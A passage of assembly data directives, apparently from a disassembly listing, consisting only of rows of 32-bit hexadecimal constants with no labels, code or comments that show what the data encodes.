		dd 0A226138Ch, 195088h,	0E398E690h, 0DEFB488Ch,	0F8AA6C2Ch
		dd 32540B8h, 792087B5h,	0E6988973h, 5900239Fh, 498C12DBh
		dd 1F98FEA7h, 0C14578B7h, 83B3CF0Fh, 0DB1BF99Eh, 0C0C652C1h
		dd 9F796264h, 0B90090BCh, 9237F6D7h, 5AFA0159h,	0BD2E64E2h
		dd 4E16E833h, 645E48h, 5F6A8B22h, 1E3F707Ah, 3D0CB210h
		dd 0E29F1480h, 28C97C54h, 28B7B1Fh, 1F378300h, 169FD3Eh
		dd 81B5602Fh, 0CC747052h, 1601CCE4h, 5814C97Eh,	7DEC65E9h
		dd 26B10081h, 7CCAFE64h, 0E0BC2962h, 80D517h, 0FB094Ch
		dd 2D3CFE66h, 5295AC9Ch, 9704B700h, 9EEBE471h, 0C2AE001Dh
		dd 0C5AAB016h, 6D005140h, 0B3C8F7C6h, 0B9236Eh,	52181FEEh
		dd 0FDE190D1h, 0EB41F300h, 0E794CB15h, 7F17871h, 4C40BEF4h
		dd 8EE550D9h, 4300D155h, 9F074EF6h, 986135h, 73F3E77Fh
		dd 0ECBD7A5Bh, 0C30062FAh, 0E6FC2138h, 3AB1C0h,	0C5C92C7Ch
		dd 0E14AD411h, 2101B8BAh, 358FAAF6h, 0B9CCEC80h, 43D40090h
		dd 0AE23EB3Ch, 1207842Eh, 0D7BE2737h, 3BB867h, 6EE0B10Dh
		dd 0C709003Ch, 99074DA1h, 7601E98Ah, 1F43ABA2h,	7DDC85B7h
		dd 511509B6h, 0DF804669h, 2E48D711h, 0E9D29C0Eh, 68E14039h
		dd 34C64Eh, 4031C7BBh, 3C32FC29h, 44EAF707h, 75F70AFAh
		dd 47AB3BB0h, 17341D1Ah, 0D87F0018h, 0B06D94C7h, 6300BAE2h
		dd 9220C50Bh, 7E78D46h,	5723A2EDh, 837CE344h, 0F9385C0h
		dd 8A00CDE4h, 1F5C7AFEh, 9FF22BBBh, 0E610068Ch,	0E5F38F01h
		dd 1D9597EBh, 0F4DC85C0h, 2A9D2ED9h, 0FEAE000Fh, 0A18781BEh
		dd 52B3A609h, 7A12807Bh, 0F89482FFh, 0EDC7018Ch, 0BB9509F0h
		dd 0C0A5C097h, 0AAA7EB00h, 7AC2AB35h, 190500C1h, 4918092Bh
		dd 0CC74D6AFh, 80A8B869h, 6738A8F8h, 86683E93h,	0B6C49B80h
		dd 79C7B87Dh, 29A4D700h, 1393C884h, 8C6500BFh, 7FCC9112h
		dd 600A4FB2h, 0C4A118F1h, 0ACCB2500h, 4309EA0h,	0EEB5785Eh
		dd 952FC0A2h, 43067240h, 2965FD3Dh, 0B73A0031h,	687EAB3Ch
		dd 523949F1h, 809D3FE0h, 5BFB9862h, 0C67CAC9h, 967AE1F6h
		dd 4C0375F0h, 399B1968h, 29A9B83Ch, 4F6D0414h, 805F31A0h
		dd 0E6B8C5D4h, 64EDC300h, 55BC44CBh, 991D00D0h,	0AC947C8Ch
		dd 694C86A9h, 6B2C0172h, 5CCC8ABFh, 0E45A78D0h,	0E8B900D1h
		dd 60795F4Ah, 0EF00D04Eh, 1A015B91h, 86ECDCh, 0DFDD15Ah
		dd 1EBBA945h, 0A5F40C00h, 8A6A332Ah, 72630760h,	807D83C1h
		dd 7707BD4Ch, 0F86EDC00h, 82CEFD49h, 0EC860613h, 0D8830130h
		dd 0B77D1E00h, 0E78E711Ch, 1A5D0031h, 0B4036E0Ch, 5A00B809h
		dd 9786BE5Fh, 4CFFA8Fh,	0A62E87D8h, 0EDF8C0A2h,	0B87075CCh
		dd 1E14783Ch, 42C0A021h, 123F9324h, 5A6600D4h, 5D4007F2h
		dd 18304CFAh, 0AABA788Ch, 0BF73167Dh, 0B91DD8h,	636DF093h
		dd 0E40569EDh, 0CFD1AA49h, 71681E86h, 0CE35002Fh, 77E0E9AFh
		dd 0B002892h, 0F15F65D9h, 3DFDB0Dh, 1F4DA75Bh, 58B8E953h
		dd 0F700C37Fh, 45623846h, 88948Dh, 3DE3E2DBh, 0FA962B16h
		dd 22C01000h, 0BB43F439h, 8CF24817h, 34C53C00h,	320957C7h
		dd 6A38B0B0h, 439300ACh, 61B7ADF2h, 0FF8F00DFh,	65DB5FE2h
		dd 381E06CBh, 2DC07DC9h, 579473B4h, 9F25072Ah, 6781C618h
		dd 0A22BC009h, 0DF000563h, 629DD26Ch, 99ABF4h, 8980C744h
		dd 147AF0BBh, 1E35A600h, 484DFA08h, 0E9B90EAh, 7EC3D47Dh
		dd 0D9C0E2CEh, 14F0770Dh, 8F086B4Ch, 34019275h,	408788B3h
		dd 854091D9h, 0D23CF9h,	0AD44F276h, 5CFDFF8Eh, 93F9C7Dh
		dd 12C581C9h, 0B9E88CC4h, 723AEECh, 0DC3D78CEh,	0DC0BF63h
		dd 7DA987B0h, 1A957100h, 0D0BD702Fh, 345F00C1h,	2915FC09h
		dd 0C4042247h, 59AC1987h, 72C56890h, 3B8F0086h,	0A33839Dh
		dd 290634BEh, 0AFE5EA1Dh, 229418B8h, 43613050h,	0B7628800h
		dd 34C1BA38h, 722401A6h
		dd 15685E2Eh, 7364FCBDh, 6652A000h, 0C513A794h,	0CBEB128Bh
		dd 462C0380h, 7298A96Bh, 223E6558h, 93CE38C9h, 5400966Fh
		dd 57C4FCF6h, 9AAD032Fh, 784988C6h, 36C0B191h, 0BD1F0068h
		dd 0E4615A89h, 5FE90074h, 0AC493088h, 42E8C7C5h, 0E17BF8CEh
		dd 614F552Eh, 1783992h,	2ACA26C0h, 60F6EC59h, 80902828h
		dd 86FA3500h, 0B072A1F9h, 4C657EFBh, 20004AC4h,	0E1D96B73h
		dd 25001982h, 0F61B457h, 9A3B4Dh, 915D5937h, 0C71532CAh
		dd 78ABE200h, 0B68E138Ch, 0C02F01A9h, 29854AF0h, 2B2DF84Fh
		dd 92560D00h, 0A48CE48Eh, 5E8F0041h, 6E96B476h,	0D7005AC8h
		dd 0EF9106A1h, 9CB59EDh, 0F83F203Bh, 0E1E35800h, 700ACDB2h
		dd 0AC88F460h, 0E8CCF501h, 0BCF41D9Ch, 0A3263EF8h, 20B1E50Fh
		dd 0F9DDDF20h, 65003B45h, 4DE16D4Ch, 17D63CC4h,	199E56h
		dd 212C1425h, 3D04E205h, 0B4EA92CDh, 3FDC80C1h,	0F29CCh
		dd 3489AF23h, 8332378Fh, 431EA173h, 73C09010h, 0AECEDA78h
		dd 0C65F0099h, 35A9013Ch, 220112A8h, 5B070F6Ch,	46F0B1A2h
		dd 3C735886h, 688D8E00h, 0DE949945h, 20424E1Ch,	0E761CA4Fh
		dd 0E3C4DD65h, 0F46388C0h, 0ABE0838Ch, 0E07677Dh, 4BFB8548h
		dd 0A644E80h, 0B50602A9h, 81D123BAh, 3EF3460h, 0D045CE24h
		dd 1394BE14h, 9C20052Dh, 90852FB6h, 1EB77A70h, 7EC66Fh
		dd 915BE331h, 0B890BE16h, 7B58E48h, 9AC255A2h, 426F60A0h
		dd 0B5350025h, 2CAC2B23h, 691DDD17h, 0C6D71309h, 345BDD00h
		dd 2E32929Dh, 0BE5103h,	5A59AB44h, 0C9000F35h, 122B2C1Ch
		dd 90A11AF5h, 4B7A00E0h, 5C862497h, 653171FAh, 0AADDF08Dh
		dd 4E74D809h, 8B66AB01h, 0A110F44Bh, 2C8E880h, 0F5E47544h
		dd 0B122A898h, 5A4E2424h, 538B40DCh, 1D0738CCh,	0A649F595h
		dd 2F3DD381h, 13AEE3D8h, 4029CADAh, 7ACDDD18h, 5C013E10h
		dd 0B9C4C594h, 75CCA39Dh, 0A7B0064h, 4C876D4Eh,	43052B20h
		dd 6CAB4DAFh, 0E845C000h, 0D37EF9h, 9D577135h, 59D8E31Eh
		dd 8FBFDA00h, 0C89BED4Bh, 0C4CE0C54h, 824EB3C9h, 0D1F08960h
		dd 1DFE4CE8h, 0C9606676h, 805583h, 6B1623ADh, 24A53903h
		dd 0F86FC357h, 1F612953h, 41B201E0h, 30D718FDh,	9662C490h
		dd 0E31A104h, 6480B397h, 0F1C5B80h, 41CE7B50h, 0F8113403h
		dd 77E1F100h, 28487165h, 1FA29020h, 4070D9C1h, 948774EFh
		dd 150079C8h, 0C6FBD376h, 0BF1660h, 64A0857Ah, 726804Ah
		dd 7700FC7Fh, 0EEA283F5h, 2CA4328Ch, 9072E0h, 0DF647FAh
		dd 0C4B08726h, 0F060EE00h, 49F37392h, 54D266Ah,	79090h
		dd 0EF99C712h, 9CBDDA3h, 80A714B4h, 0CE5354A0h,	0FC00D13Ah
		dd 0D25A903h, 4C4175AAh, 5053B7F3h, 70569700h, 95DCC119h
		dd 0C8008DF0h, 0E406A0AFh, 0FE266Ch, 50F02D1Bh,	47C0790h
		dd 888F3Ah, 0CDA9C44Bh,	7830BE6Ah, 179008Dh, 1E18EF1Bh
		dd 0A8C09E92h, 0B9BA0BB1h, 0A725070Dh, 0D035F9C5h, 0FED7F1EAh
		dd 0E0437100h, 9ABA9DF6h, 5DE8003Eh, 0D6772723h, 80001DFCh
		dd 0A834D3ACh, 6EF51Ah,	0B0FE8AC4h, 3CBB1F43h, 0DC60C14Ah
		dd 284104FCh, 5D85C81h,	0ECC586B1h, 0B94C9016h,	0F900CD0Ch
		dd 58430638h, 0C53025h,	53D28168h, 64E3391Ch, 55230507h
		dd 12926C21h, 7B44C935h, 0AC51C4h, 3054473Dh, 9EC43ED2h
		dd 0B899A500h, 63CBDEE6h, 1DF21469h, 2607C0A9h,	0D0557DC8h
		dd 0BF1ABDDFh, 0B2A71602h, 607462F4h, 0C4506Ch,	84ADDC03h
		dd 6344DED8h, 0CF00E898h, 6633A547h, 7920E42h, 0FB384B99h
		dd 2F41D0A2h, 0EA48908Ah, 10AA0710h, 0F330D2B3h, 0F0E330h
		dd 57FF5D41h, 442E1207h, 0E0671F02h, 80D6BC94h,	7CA80FA2h
		dd 4970371h, 11D74DC9h,	0E0DE6AA8h, 67006BF8h, 557EE7D5h
		dd 1E4BA7h, 0B06CCE69h,	0D73AE3FFh, 0F62593Dh, 0ECB71638h
		dd 8BC87Ch, 5EC08674h, 0D96EF0Bh, 68F1D924h, 60E2500Fh
		dd 496AA065h, 3D0A0037h, 830C2C84h, 9C00D306h, 941C7692h
		dd 9B11132h, 0E236E7F1h, 10DCF4A7h, 5952B469h, 0E6756B00h
		dd 0D066F262h, 0D5BB0E32h, 830FE1AFh, 0F101D140h, 1B00C96Ah
		dd 0F6E238BDh, 566CCFh,	8CB6C49Dh, 0B06D92FDh, 33690706h
		dd 111910Ch, 0CAEBD872h, 70D44677h, 4576ABDFh, 98494CC0h
		dd 3EF0556h, 0E4E91B51h, 0D80E1E24h, 4094EE3Bh,	90B2B3Ah
		dd 0A48D00B7h, 256FFD36h, 0D35030AAh, 0F1004AD0h, 0BB4EEFADh
		dd 98B68D4Bh, 0AF9E00B7h, 0EAC6299Dh, 0F000E04Ch, 3FC07F4Fh
		dd 91ABA0h, 499F477h, 29A4D561h, 0AD891907h, 1BF035D4h
		dd 0E0B317h, 0D6DE7BA6h, 0F7AF923Eh, 0C7433D00h, 0EF5A2B1Fh
		dd 0DCA401B2h, 67365DEEh, 0BA15C891h, 0A702EC90h, 2A17D098h
		dd 0E8F06481h, 0F4D2003Eh, 0FBF15092h, 39007B83h, 9E5508F6h
		dd 9D4729h, 0A568E6ABh,	5C651909h, 0DE003CB2h, 6AB86BFFh
		dd 1A6CFDDh, 6930ED47h,	0C3261736h, 0EC121AC9h,	7400A89Eh
		dd 66D68ED5h, 0E4E2C3h,	6FD80157h, 96CF9BBEh, 0BCFEA504h
		dd 1CC1B38Ah, 2CD59814h, 260582D0h, 847C8F9Bh, 0A1968A0Ch
		dd 68F1D838h, 0E7026h, 3805711Dh, 1003E103h, 4888300Ah
		dd 0AD0C0239h, 0BE08142Ah, 7F5B3100h, 0B3A8125Dh, 984800C5h
		dd 0B8E0DD83h, 8F0B8110h, 86BD903Ch, 26601228h,	10E313h
		dd 0FD14B81Ch, 0C3008F61h, 1D1F5C25h, 0C6A7Dh, 0E776809h
		dd 9027033Eh, 9E1089C0h, 0E58218Fh, 0E699C0E3h,	5313BA81h
		dd 3BA45143h, 492C7092h, 9CCE0800h, 21CCC581h, 0A2F466h
		dd 0F38C9F90h, 4F7BFD2Dh, 3F005D7Ah, 42B4E812h,	0B62858h
		dd 966CA5A7h, 0F14BACCBh, 5C001671h, 4943426Dh,	75B40D0h
		dd 4EB57B0Fh, 3C8A6039h, 0A2E2118Eh, 0C7ECA500h, 0E1EE53B2h
		dd 0FFA70606h, 0E83D1081h, 0C57AB607h, 6387781Ch, 68DFB380h
		dd 0D5A01D11h, 8A7C43ACh, 0A5801973h, 6B00B7BBh, 69128209h
		dd 0F2FBA437h, 9ED0009Fh, 2ABD0C54h, 7AE69847h,	23204600h
		dd 1D72AED3h, 0E3051E79h, 0EE774727h, 0E160810Bh, 6FE641D9h
		dd 0D8EC7474h, 7D78AE00h, 9577900Ah, 0EEA51D2Ah, 3D00789Ch
		dd 5F79927Ch, 5C00A6BCh, 2FF08AE3h, 2EF272BFh, 0B4A50h
		dd 0FA2CF5C8h, 7907B138h, 95F468A7h, 0B8FB5373h, 36A869Ah
		dd 0E377A6E5h, 4AC86518h, 381FA33Dh, 0AF80377Bh, 47532B88h
		dd 0F6730EB3h, 0A460B96Eh, 5B52E383h, 0FAA8C8FDh, 0B5009371h
		dd 785D4907h, 4A8C05h, 0BBB3FC65h, 7B3C4515h, 41F67100h
		dd 3D47F0BDh, 9CC807CAh, 809F53DEh, 80BA38E6h, 9224A4E6h
		dd 46941454h, 720CEA04h, 0BE10738Fh, 8CB36E24h,	0E5D33400h
		dd 3B8D49h, 0A284E0B2h,	96A38872h, 514728CEh, 0A108CF21h
		dd 0AC7C88E2h, 88B80588h, 0D288E72Bh, 8ED090FEh, 67217123h
		dd 42FBA23Ah, 416008C4h, 84031040h, 0B84AFD0Bh,	7BAD0C50h
		dd 42847F29h, 282C28A7h, 424FC022h, 0F2FB111Bh,	9929C070h
		dd 3F3D0447h, 69181E07h, 81608E4Bh, 0CE8554h, 0E15DE341h
		dd 89C68AADh, 98D08800h, 917BBEE7h, 80A500B5h, 0AB9E486Fh
		dd 690059CDh, 8742CFB6h, 53B8CCh, 0D389721h, 10843CE4h
		dd 70C9F04h, 0CCA2594Dh, 87C68800h, 0A295049Eh,	12017A7Ch
		dd 0EDC83766h, 0C460F4DBh, 57A1001Dh, 82FAFFB3h, 2AFBAC60h
		dd 0F9C44A0h, 0B45C0A8Bh, 0E8728520h, 0C8F06EB1h, 18E6E900h
		dd 579B4E6Bh, 5E5F00A5h, 17591B05h, 6012FD40h, 145DB21Dh
		dd 0F4A9B800h, 24883E1h
		dd 0CABB88A3h, 0BB602F30h, 0C09FF9C7h, 24DA461h, 1B5BE71Fh
		dd 3858B324h, 5C743C10h, 0C059B910h, 490E2133h,	97835013h
		dd 3A37005Ah, 0BD886F9Dh, 3400E728h, 0A26DD7FEh, 4B10B30h
		dd 91AEDD9Ah, 5ECE278h,	657EF9ABh, 0BDE7FCC0h, 38CE79F4h
		dd 0A4AE5C61h, 52B100C8h, 49C40E0Ch, 6341100h, 0EA42C505h
		dd 629B0FF6h, 6EA0B02Ch, 4D5597BBh, 6DD47200h, 56642A78h
		dd 0CDCE037Fh, 0A13DD786h, 0E9C6ABF8h, 0BE6A8500h, 25081CC4h
		dd 32FE00ADh, 9F633656h, 0CF0088B4h, 0B2AED18Fh, 1BD1631h
		dd 0DA12A269h, 81B97809h, 74EF8120h, 1C717EC7h,	0A9E330h
		dd 5B594197h, 7A164807h, 60884A51h, 46008FDDh, 0D7AE0ABCh
		dd 0F76A0612h, 5CE4104Ch, 0A4028161h, 1B067C08h, 2B378BC0h
		dd 1CF8AF48h, 3F53D9h, 146E6DD5h, 867DC1h, 401F18A5h, 5B280BC4h
		dd 0E27C63FEh, 76A62900h, 496B1EEh, 75D80007h, 0C3E7FCDBh
		dd 1C03333Dh, 43ADC632h, 1927C91Fh, 0EC82C03Dh,	1CD09068h
		dd 8B0066E2h, 0F3AC9AABh, 2C5454Bh, 0D14C2902h,	0A8787E03h
		dd 99F16F00h, 9700136h,	2D775CD6h, 0A3601801h, 7073E027h
		dd 0A85875C0h, 0BC8E0125h, 0C026A043h, 3167CCh,	0A7F12A1h
		dd 0BFE025ADh, 0BFA530Bh, 0E3946187h, 2A78A60Ch, 0E056D73Fh
		dd 0C702EEA0h, 887F003Dh, 4AA6D3ABh, 294A65FFh,	0B73AE800h
		dd 78E4BD8Eh, 981F096Ah, 0BC00FB6Bh, 23FC4F15h,	4869400h
		dd 0EEB06F42h, 0FF47006Ch, 1763C127h, 30019F2Ch, 730F8474h
		dd 9ECC3324h, 0C740C0FDh, 0B251AD4Eh, 5F6268C0h, 480E81D5h
		dd 150334A9h, 889ADA5Ah, 52BF9E98h, 9D007579h, 32F15BEBh
		dd 22DDE9h, 42EC74E6h, 6D0717A8h, 0A9CD6F12h, 1432E500h
		dd 91A03453h, 0AC43F400h, 3AA4725Eh, 9A00E4D2h,	7D4D7896h
		dd 0F437DC11h, 9F4F00EDh, 33B99034h, 0D8006DF3h, 0CB06EA08h
		dd 0E15744h, 0D99895BCh, 0D4BE8A01h, 166E8900h,	6F3FCA56h
		dd 0CC49020Dh, 247B232h, 675B3840h, 1A1C4203h, 0D3A2DEF0h
		dd 818000C7h, 0E32188FEh, 0B00A18Eh, 0C011A392h, 7BA2C1D3h
		dd 6DE81Fh, 7558FE37h, 0DEA3DD5Ch, 640081E6h, 720A5213h
		dd 0F88B62ABh, 0DC9A3F9Ch, 86D71Eh, 0C0D5E94Ah,	2D0184BCh
		dd 0EE9E2FD8h, 382090F1h, 0A4793Dh, 34924316h, 0CC7B508Dh
		dd 0D8F8AB00h, 0D1079AEAh, 0ADE4FDh, 7541A51Ah,	9FB2B47Ch
		dd 0CA517400h, 0B964C3A3h, 3CC27E4Fh, 7BACDB85h, 77B4041Ch
		dd 14A4C884h, 52F93B00h, 290B99EFh, 0E04D0E09h,	0C5E773B0h
		dd 5EFC506Ch, 6B00402Dh, 41BD7143h, 3E92F33Bh, 0C28106A0h
		dd 0B1FECA84h, 0CE46C442h, 0E107C3EAh, 8DBCBA39h, 10DC8610h
		dd 0FEB90043h, 4976A1Dh, 550FB147h, 60E45F83h, 0EA4C0354h
		dd 344E0E12h, 471DCA9Dh, 31CEE663h, 64B5A345h, 0A648EF24h
		dd 284A3074h, 0FEE79077h, 4DBFEE70h, 0C30104E1h, 8C590D8Dh
		dd 17BBC01Eh, 606558h, 0F78AC9A0h, 169CE8D8h, 68037Ah
		dd 3C2BF964h, 0DF000821h, 0AB2C38FCh, 3A741C2h,	2B175FBh
		dd 3E8ACDBh, 88C78C78h,	92E094F4h, 48E83B7Ah, 4A01FCC5h
		dd 0BD33AAF6h, 3EA869B1h, 0AB4C8039h, 0EDCFA70Ah, 7AD00007h
		dd 1CF0D95Bh, 0BF0F9228h, 1E068208h, 527C58E8h,	6FB68D00h
		dd 1530BC69h, 76EB38FCh, 0DE1AC880h, 0E19E112Ah, 6CF46401h
		dd 0A6F088CEh, 0FD0030h, 9AD45C1h, 0CB796822h, 807637Eh
		dd 9C46E2AEh, 0F945C750h, 0AAFC135Ch, 4E880058h, 37FD1EBh
		dd 740DE501h, 0B88411F7h, 9E4FE880h, 0F5545395h, 68C83E03h
		dd 80C049EBh, 1355D9h, 15FE3A1Eh, 0C41044B6h, 0A0808400h
		dd 0C8F2A1B0h, 5B4000Ch, 255604EFh, 0E500E0E6h,	1283F433h
		dd 72CFE8D5h, 20D8B708h, 2DAE2C00h, 65E22016h, 77E656h
		dd 6D3F288Fh, 8B903B1Ch, 0CA4C7D00h, 0BF6EC9A5h, 0F6FDEB49h
		dd 92B6D8h, 4791055h, 0B9B531F3h, 0AED48407h, 1F60A3F4h
		dd 7F8AFD41h, 0EDDF0069h, 5AEC6CCAh, 0D53E0BCEh, 300C2498h
		dd 1B1D0780h, 0B451CCF4h, 0CF0600FCh, 0DD14F838h, 91962A03h
		dd 0E92D8DE7h, 2B339Ch,	66192804h, 2B0BA432h, 807D5885h
		dd 5D5968ECh, 0F0FD67A8h, 0D06074ADh, 9C529068h, 231FA501h
		dd 0EC09223Dh, 0BEB5EE8h, 312D49CEh, 0BF0E7F80h, 0CA045513h
		dd 3D5EC87h, 0BC5164E0h, 42984250h, 0DC793041h,	0E10FD3D0h
		dd 201DE772h, 146883A4h, 718800B1h, 0A99559EDh,	0B300BDD3h
		dd 4638482Ch, 5273D8Fh,	0D71C5217h, 0C03080CBh,	0CC196BE4h
		dd 28B811F5h, 0D35BC8h,	0A4AEB456h, 62199C31h, 48DCB64Ch
		dd 2F60220h, 8BC8BBA3h,	0A7EA01C0h, 207197D7h, 2084E5D4h
		dd 0B9025B4Ah, 0B511A273h, 2187C00Dh, 0C5A6011Dh, 0E8E03FF9h
		dd 72C620EBh, 0CB82C32Ch, 0E0B8500h, 0E22476EFh, 0FBD50078h
		dd 0DDA2801Ch, 9900A651h, 1F5C5EE5h, 95BB44E3h,	0FEC06498h
		dd 8989A7Eh, 0ADCD832Ch, 0F3A7A200h, 3EAD9021h,	0B7801A60h
		dd 70456604h, 30984138h, 0D4B28513h, 0CE5B2440h, 5479C35Eh
		dd 2CB4ABh, 0F4347BA9h,	4A04D219h, 0BF41F100h, 0AFD0914h
		dd 1F270736h, 506DF8CDh, 0B2E25ADEh, 1CAB8CA0h,	6CBBB300h
		dd 26F890C6h, 859D004Ch, 0D0025E29h, 7100CB97h,	5ACAC878h
		dd 50F5E0F1h, 39F88Bh, 40A223A0h, 6C893897h, 0A700D0F4h
		dd 0E6EEE4F4h, 0B081BD03h, 80264AD9h, 5EB878D0h, 55709409h
		dd 0E5DC20C7h, 0B79AE4Bh, 40AFD781h, 73180401h,	0E17100B8h
		dd 6E222F3Ah, 8C6B0000h, 0EC0041B5h, 0B94AFEB0h, 1E322ED2h
		dd 0C22113h, 0D8A7C86h,	717D3FBFh, 0C305BB07h, 22521F74h
		dd 3AA8C08Dh, 5E4D1707h, 0E6BC8021h, 61C06A18h,	26FA1DCDh
		dd 4A9E1597h, 3A14B839h, 0F0009720h, 0BBB45AACh, 0D907E7A5h
		dd 6E69EEFCh, 251FCB10h, 99270055h, 0F81BDAAEh,	0E800D631h
		dd 54A82C6h, 0F76DCFh, 88A8F0E5h, 0BA7DD85Bh, 63C6D912h
		dd 0A4766800h, 0EC42ED5h, 2D8C9F51h, 0E2E54201h, 9EE230D4h
		dd 0B7E69712h, 0B894F0h, 0B687C621h, 5142FB53h,	2DADDA00h
		dd 67F80A14h, 8044B066h, 6827F0h, 36591AEFh, 0D1C92F9Dh
		dd 5C956919h, 0E4709E10h, 51DF00B1h, 0F8CA2A3h,	88009F20h
		dd 0DC6CB597h, 754555h,	0D2C9C4FEh, 94F3D569h, 43F40091h
		dd 402A254Fh, 3CFCBCh, 0DED13102h, 0BB856325h, 2F308A72h
		dd 6EA4AAC2h, 0C9210EA7h, 62400D86h, 189AEDCBh,	31AA8907h
		dd 0D210D77Ch, 5133B96h, 9C4564B8h, 99DC908Fh, 0ECBC4067h
		dd 0F1085705h, 328CF0h,	8BAABD0Ch, 0D8B74AA2h, 0FCCDF300h
		dd 84D06D7Dh, 917C001Dh, 0F3E1874h, 0C305ED83h,	0C9F225A1h
		dd 6AEEE803h, 0AA1698DCh, 4E6B3h, 73FF5860h, 0A49B5DFEh
		dd 800F773Fh, 62F8CC86h, 136D55D1h, 0A4985042h,	93001A60h
		dd 26990221h, 40343B8h,	0F8A8ECF1h, 0C0CC87ADh,	9A2BE51Dh
		dd 72E60400h, 2444755Bh, 20D2C01Bh, 0A1225921h,	83F00213h
		dd 924D2440h, 169EFB0h,	55F30D3Ah, 0FB8B0544h, 0A4A9F0A8h
		dd 0B842F800h, 972B2D1Ch, 39307E39h, 7F01335Bh,	5E6A4EBFh
		dd 0DA0AF057h, 7F2EB0Ch, 10A876h, 6FB786E0h, 4287C866h
		dd 0C2A6FA09h, 0CF9C60B1h, 9831146Ah, 12FB05Eh,	901BDC05h
		dd 977854B4h, 2A83A600h, 16C58C9Bh, 0A4F40029h,	5F724F7Fh
		dd 2401AD0Ah, 7FA0CFEh,	4060CBF1h, 808DFAC1h, 8C4A6C0Dh
		dd 26EA6CC0h, 6379C016h, 4FB158DAh, 0CA84000h, 7FCFED66h
		dd 829A00BEh
		dd 58AB3265h, 1F001DA1h, 0FDC9AA15h, 2F3E037h, 4D17EE3Bh
		dd 0EEE023F8h, 0AD00BDA4h, 21AA93BEh, 0F0CD87CCh, 8C720071h
		dd 6AA1B743h, 9A024FB4h, 0A650933Fh, 209C46F4h,	0DD008EEFh
		dd 0E33A4004h, 2754EAh,	456C618Fh, 370A3F99h, 1D30A500h
		dd 0C57BCD72h, 0DC13001Fh, 54B84CD4h, 0C30064F1h, 0EF5C842Ch
		dd 1028909Ah, 94983FAh,	51339794h, 10E6030Ch, 0BE98E10Dh
		dd 0FD06D9C4h, 1FCD02E3h, 0B4C1001Eh, 8F477EC9h, 0DD0088FCh
		dd 914FB60Dh, 328ECB7h,	64735227h, 0B8E8AA05h, 324547Fh
		dd 0CC08A086h, 67E98296h, 962B93E0h, 1E6B3078h,	829BB211h
		dd 6CCF754h, 0D20F4612h, 5C830041h, 0F8D1DDB7h,	29F02180h
		dd 7A338B0Bh, 601CB502h, 0E8719D19h, 38E0BCh, 56983CCEh
		dd 17D3B6E8h, 74C7E1F7h, 0A300456Ch, 808CB71Eh,	2E6957DFh
		dd 40185310h, 3EC387A5h, 5C5A7800h, 804520C1h, 0BF9C09B8h
		dd 0B000CC98h, 73B5902Ah, 0BCDE801h, 0C4EB1596h, 0F008078h
		dd 149D5305h, 80EFF3Bh,	9072B28h, 522202C0h, 547660DEh
		dd 0D7880276h, 7EF64404h, 8ADBE0F7h, 4D740043h,	6B163B91h
		dd 0A51827A6h, 15B8F570h, 0C80E5CA8h, 6F878E3Bh, 20BEEF51h
		dd 1E20F1E1h, 1CCBB300h, 2BD38019h, 6FE92C09h, 59D7002Ch
		dd 0D26DAE0Ah, 455F18C0h, 0B8D03FECh, 0B7F866h,	3D3BF51Eh
		dd 0F1493C07h, 400EC400h, 69371DD8h, 0EFEA0293h, 1A522C53h
		dd 861742E0h, 0D5AEEC00h, 34799662h, 50935C9Dh,	0C0A17C16h
		dd 4A5D2B4h, 0E5CB8C41h, 0D58174D4h, 0E450FBB4h, 0C22F7h
		dd 0DFD07B27h, 0DA013921h, 52E67700h, 9D389A26h, 74C50323h
		dd 70C365F4h, 47E920FFh, 0C803FCA0h, 0D96B1BEh,	350A6A2h
		dd 731E81BFh, 7813725Eh, 0C8915A46h, 3034997Dh,	9F9838B4h
		dd 0FDF52880h, 143B65C9h, 548FFF01h, 4AA0C5F7h,	0DC42BC0h
		dd 0F0298C74h, 66934039h, 80971554h, 93974FFCh,	0ED9438ECh
		dd 0A5C85A00h, 72C7236h, 87F5Dh, 0B0A2C198h, 0B5348Ch
		dd 0C08F3AAFh, 0E78D6812h, 443E5E00h, 31983552h, 4BCA006Ch
		dd 3A890D0Fh, 420107BBh, 8B62B17Ch, 65E011D6h, 295B001Eh
		dd 0CAEC6176h, 6E00BAABh, 0C99B2234h, 9B4B5C8h,	5FE0F9DFh
		dd 47F4BC80h, 1FF2FDA7h, 0B68DE216h, 0FC280Fh, 0A0940B88h
		dd 484600F1h, 65F2F008h, 0B4391ECAh, 0BE42003Bh, 77E55E5h
		dd 1A96177Ah, 150123Eh,	0FED612EEh, 9048C84Eh, 5A63AE00h
		dd 2BCDAA0Dh, 26B0006Ah, 0D9205818h, 810A9D3Ah,	0D0DD13DCh
		dd 0A47E2401h, 0C9D003D4h, 80B46Ch, 2C99ADC7h, 660B75C3h
		dd 5A456Eh, 0BD4B1100h,	0A3A20371h, 0EB90A0B3h,	447047F8h
		dd 0B938AB1Fh, 9CA9FA03h, 6C2F90B2h, 81DCBA33h,	1C8E481h
		dd 0CCF807D6h, 9090C72Bh, 23AE24B5h, 41FDC103h,	9060690Fh
		dd 2B831E5h, 0B2589A78h, 0DC480D15h, 6020925h, 0EE95C139h
		dd 58A4604Eh, 0EAF84833h, 91483500h, 0BC7BBB15h, 96290A03h
		dd 98FBE9D2h, 2CF21Dh, 7E8108C5h, 755A8C0Dh, 2D031700h
		dd 70AC34BCh, 0EA361222h, 0B33600D3h, 0DC206F1Ch, 3C97B00h
		dd 3FBA13C4h, 123509B5h, 0DC044EF1h, 268C7EAh, 0B0604797h
		dd 50BCB975h, 18C03093h, 909DF8D2h, 9BA61E88h, 1880E720h
		dd 0A821ED57h, 548A3400h, 8E439F2h, 529C003Bh, 24FF3AFh
		dd 75109B71h, 0E8018460h, 56A992EEh, 0B0022F8Eh, 68D5B061h
		dd 5CBED8h, 1E145D97h, 0C2291288h, 0AB4DB800h, 0DCBDECD1h
		dd 2CE6D2h, 25716CA5h, 0CF88A3D8h, 8492C800h, 0FF55E85Fh
		dd 61D50086h, 0A7E26C4Bh, 0DA6E2E7Bh, 0E0808F29h, 158AAD38h
		dd 4900068h, 7498EF67h,	7101AC9Bh, 0A25609CBh, 0E0C03A06h
		dd 0F9F70F22h, 16E1E96Eh, 0C43991C5h, 0C2062C90h, 618EAA52h
		dd 0EB730049h, 76B95BA4h, 891C91F7h, 0E60483E9h, 9483E521h
		dd 9F580264h, 95323539h, 2D125BC0h, 26B6A000h, 1CD383B5h
		dd 0B13B0170h, 1F3E8B23h, 0C060E639h, 6FF29ADBh, 47CD600h
		dd 0DD72F365h, 0D9534C86h, 95FA5D0Bh, 91302852h, 5E4DB9C7h
		dd 1896F6F8h, 8051FC30h, 0ED00BD1Dh, 37684C38h,	74D162h
